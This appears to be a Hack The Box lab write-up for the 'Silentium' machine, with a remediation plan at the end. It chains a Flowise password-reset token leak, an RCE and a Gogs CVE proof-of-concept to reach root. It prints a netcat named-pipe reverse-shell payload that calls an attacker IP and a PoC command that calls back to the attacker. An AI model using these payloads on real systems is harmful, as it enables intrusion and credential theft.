Post cover image

September 12, 2026

HTB: Silentium

Overview

By Danieltruong

5 min read

Overview

Starts with vhost enumeration uncovering a staging environment running Flowise. By exploiting a password reset flaw to hijack a staff account, an attacker can leverage an authenticated RCE to gain an initial shell and harvest SSH credentials. The final privesc involves pivoting to an internal Gogs instance and modifying a public exploit script to secure a root shell.

Recon

Port — Service Scan

The server is pretty simple with just 2 open ports: SSH/22 and HTTP/80

└─$ sudo nmap -sCV -Pn -p- 10.129.131.63 -oX Evidence/Scans/AD\ Enumeration/full-port-scan-12092026_1410.xml
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-12 09:10 -0400
Nmap scan report for 10.129.131.63
Host is up (0.036s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.03 seconds

Since we have a web server, next step is to checkout the site, dir and subdomain discovery, also do not forget to fuzz for vhosts/subdomains.

As we go through these, we found 1 vhost/subdomain.

└─$ ffuf -u http://silentium.htb -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host:FUZZ.silentium.htb' -fs 178

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://silentium.htb
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.silentium.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

staging                 [Status: 200, Size: 3142, Words: 789, Lines: 70, Duration: 38ms]
:: Progress: [110000/110000] :: Job [1/1] :: 1481 req/sec :: Duration: [0:01:26] :: Errors: 0 ::

Web Server

The web server is a simple static site with no findings. However, the staging vhost reveals a login portal to their Flowise service.

As we look up known CVEs for Flowise, we can find the reset-password endpoint is vulnerable, details here for CVE-2025–58434.

Regardless, we must first find a valid staff email to test with this CVE. Lucky for us, on the main site at http://silentium.htb, they reveal three (3) staff members' names. As we try out them, we can see that ben@silentium.htb is a valid email address.

None None

Initial Foothold

Account Takeover

Checking the response from the reset password POST request for ben , we can see the leaked reset token (as mentioned in the above CVE for Flowise). Using this, we can reset his password and access the platform as ben.

None None

Reverse shell

Next, we can check and see that the current version for Flowise in Setting>Version is 3.0.5

None

Keep looking up CVEs for Flowise v3.0.5, we found another RCE vulnerability in interacting with MCP. It is CVE-2025–59528, which affected this version. You can read the details here or https://nvd.nist.gov/vuln/detail/cve-2025-59528

Using this CVE with this payload:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.230 1234 >/tmp/f

We managed to get a revshell on the server.

None

Going through the environment on the reverse shell, we managed to grab some secrets stored in the env

~ # env
<SNIP>

SECRETKEY_PATH=/root/.flowise
PWD=/root
SMTP_PASSWORD=<REDACTED>
NVIDIA_NIM_LLM_MODE=managed

<SNIP>
~ #

Using the SMTP_PASSWORD, we can SSH into the server as ben.

None

Root User

Now as ben, we can enumerate the machine. One thing came to my attention was another application located at /opt/gogs . Apparently from its README.md it is a custom Git service and from its config file at /opt/gogs/gogs/custom/app.ini we can see that its located on a different vhost: staging-v2-code.dev

<SNIP>

EXTERNAL_URL     = http://staging-v2-code.dev.silentium.htb:3001/
DISABLE_SSH      = false
SSH_PORT         = 22
START_SSH_SERVER = false

[database]
TYPE     = sqlite3
PATH     = /opt/gogs/data/gogs.db
HOST     = 127.0.0.1:5432
NAME     = gogs
SCHEMA   = public
USER     = gogs
PASSWORD =
SSL_MODE = disable

<SNIP>

Add this to our /etc/hosts and check it out!

None

Looking up CVE for Gogs, we ran into a couple:

CVE-2026–52806

CVE-2025–8110

I tried both but only the CVE-2025–8110 works. You can follow the post to manually perform that or run one of the public PoCs, details here.

However, for that PoC to work, you need to:

  • Comment out the register function
  • Manually create the user
  • Modify the last part of the code according to your newly create user
None

Then you run the PoC Script as follow:

python3 CVE-2025-8110.py -u http://staging-v2-code.dev.silentium.htb/ -lh <ATTACKER_IP> -lp <PORT>
None

This will land you a root shell on the web server, allowing a total takeover!

Attack Path Overview

  • Reconnaissance & Account Takeover: Vhost fuzzing identified a staging subdomain hosting a Flowise service. By extracting valid staff email addresses from the main website, the password reset endpoint was exploited, utilizing CVE-2025-58434, to leak a reset token. This allowed for a complete account takeover of the user ben.
  • Foothold: Enumeration of the Flowise dashboard revealed the version as 3.0.5, which is vulnerable to an MCP-related RCE tracked as CVE-2025–59528. Executing a reverse shell payload through this vulnerability granted initial command execution.
  • Lateral Movement: Investigating the environment variables within the reverse shell exposed a plaintext SMTP_PASSWORD. This credential was successfully reused to SSH into the host as the user ben.
  • Privilege Escalation: Internal enumeration as ben uncovered a custom Git service, Gogs, located at /opt/gogs, configured with a hidden vhost of staging-v2-code.dev.silentium.htb. By manually creating a user and executing a modified public PoC for CVE-2025-8110 against this Gogs instance, a root shell was obtained.
  • Overall Impact: Total system compromise. External attackers could chain application-level token leaks and RCEs to gain initial access, subsequently leveraging exposed environment variables and vulnerable internal services to achieve complete administrative control.

Remediation Plan

Immediate Actions

  • Patch Vulnerable Services: Immediately update Flowise to mitigate the password reset token leak tied to CVE-2025–58434 and the MCP-related RCE tied to CVE-2025–59528. Update the Gogs service to patch the authenticated RCE vulnerability, CVE-2025–8110.
  • Credential Revocation: Force a password reset for the ben account and rotate the compromised SMTP_PASSWORD.

Short-Term & Strategic Actions

  • Secure Secrets Management: Remove plaintext credentials, such as the SMTP_PASSWORD, from environment variables. Utilize a dedicated secrets manager or encrypted vault to handle environmental secrets securely going forward.
  • Harden Internal Services: Ensure internal tools like the Gogs service are properly segmented and inaccessible without strict VPN or zero-trust proxy authentication. Implement local firewall rules to prevent lateral movement to administrative portals.